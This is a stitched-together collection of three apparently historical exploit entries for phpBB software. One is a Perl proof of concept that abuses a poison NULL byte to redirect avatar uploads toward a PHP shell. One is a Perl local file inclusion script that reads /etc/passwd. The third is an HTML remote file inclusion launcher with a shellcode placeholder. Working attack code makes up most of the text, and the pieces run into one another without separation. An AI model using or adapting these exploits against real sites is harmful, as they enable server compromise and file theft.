#!/usr/bin/perl -w
# Author: ShAnKaR
# Title: multiple PHP application poison NULL byte vulnerability
# Applications: phpBB 2.0.21, punBB 1.2.12
# Threat Level: Critical
# Original advisory (in Russian):
[url=http://www.security.nnov.ru/Odocument221.html]http://www.security.nnov.ru/Odocument221.html[/url]
#
# Poison NULL byte vulnerability for perl CGI applications was
described
# in [1]. ShAnKaR noted, that same vulnerability also affects
different
# PHP applications. An example of vulnerable applications are phpBB
and
# punBB.
#
# Vulnerability can be used to upload or replace arbitrary files
on
# server, e.g. PHP scripts, by adding "poison NULL" (%00) to
filename.
#
# In case of phpBB and punBB vulnerability can be exploited by
changing
# location of avatar file and uploading avatar file with PHP code in
EXIF
# data.
#
# A PoC exploit to change Avatar file location for phpBB:
#
#
use HTTP::Cookies;
use LWP;
use URI::Escape;
unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass
images/avatars/shell.php [d(DEBUG)]\n"}
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible;
Windows 5.1)');
$ua->cookie_jar( HTTP::Cookies->new());
$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1";
my $req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
my $res = $ua->request($req);
$res=$ua->get('http://'.$ARGV[0].'/login.php');
$content=$res->content;
$content=~ m/true&sid=([^"]+)"/g;
if($ARGV[4]){
$content=$res->content;
print $content;
}
$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
$url='http://'.$ARGV[0].'/admin/admin_board.php?sid='.$1;
$data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
if($ARGV[4]){
$content=$res->content;
print $content;
}
unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass
images/avatars/shell.php [d(DEBUG)]\n"}unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass
images/avatars/shell.php [d(DEBUG)]\n"}
..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%.
.%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%.
..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%.
.....%%..%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%%%%%%.
..%%%%....%%%%...%%..%%...........%%%%...%%..%%..%%%%%%...%%.%%..
.................................................................
[+] Software: phpBB Module XS 2.3.1
[+] Vendor: http://www.phpbbmods.de
[+] Download: http://www.phpbbmods.de/downloads.php?view=detail&id=3
[~] Vulnerability found by: bd0rk
[~] Contact: bd0rk[at]hackermail.com
[~] Website: http://www.soh-crew.it.tt
[~] Greetings: str0ke, TheJT, maria
[+] Vulnerable Code in /admin/admin_xs.php line 33
[+] Code: include_once('xs_include.' . $phpEx);
[+] It is a local file inclusion
[+]Exploitcode:
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
print "\t\t+++++++++++++++++++++++++++++++++++++++++++++++++++\n\n";
print "\t\t+ +\n\n";
print "\t\t+ phpBB Module XS 2.3.1 Local File Inclusion Expl +\n\n";
print "\t\t+ +\n\n";
print "\t\t+++++++++++++++++++++++++++++++++++++++++++++++++++\n\n";
if (!$ARGV[0])
{
print "Usage: expl.pl [target]\n";
print "Example: expl.pl http://127.0.0.1/directory/admin/\n";
}
else
{
$web=$ARGV[0];
chomp $web;
$file="admin_xs.php?phpEx=../../../../../../../../../../../../../../../../etc/passwd%00";
my $web1=$web.$file;
print "$web1\n\n";
my $agent = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $agent->request($req)->as_string;
if ($doc=~ /^root/moxis ){
print "This is vulnerable\n";
}
else
{
print "It is not vulnerable\n";
}
}<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>Fishing Cat Portal Addon (functions_portal.php) Remote File Inclusion Exploit</title>
<script language="JavaScript">
//'Bug found and Exploit coded by bd0rk
//'Vendor: http://www.foxymods-phpbb.com/
//'Download: http://www.foxymods-phpbb.com/download.php?id=7
//'Contact: bd0rk[at]hackermail.com
//'Vulnerable Code in line 21: include_once($phpbb_root_path . 'includes/lite.'.$phpEx);
//'$phpbb_root_path is not declared before include
//'Greetings: str0ke, TheJT, rgod, Frauenarzt
//#The german Hacker bd0rk
var dir="/includes/"
var file="/functions_portal.php?"
var parameter ="phpbb_root_path="
var shell="Insert your shellcode here"
function command() {
if (document.rfi.target1.value==""){
alert("Exploit failed...");
return false;
}
rfi.action= document.rfi.target1.value+dir+file+parameter+shell;
rfi.submit();
}
</script>
</head>
<body bgcolor="#000000">
<center>
<p><b><font face="Verdana" size="2" color="#008000">Fishing Cat Portal Addon (functions_portal.php) Remote File Inclusion Exploit</font></b></p>
<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
<b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[directory]</font><font color="#00FF00" size="2" face="Arial">
</font><font color="#FF0000" size="2"> </font></b>
<input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
<p><input type="submit" value="Start" name="B1"><input type="reset" value="Delete" name="B2"></p>
</form>
<p>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>
<b><font face="Verdana" size="2" color="#008000">bd0rk</font></b></p>
</center>
</body>
</html>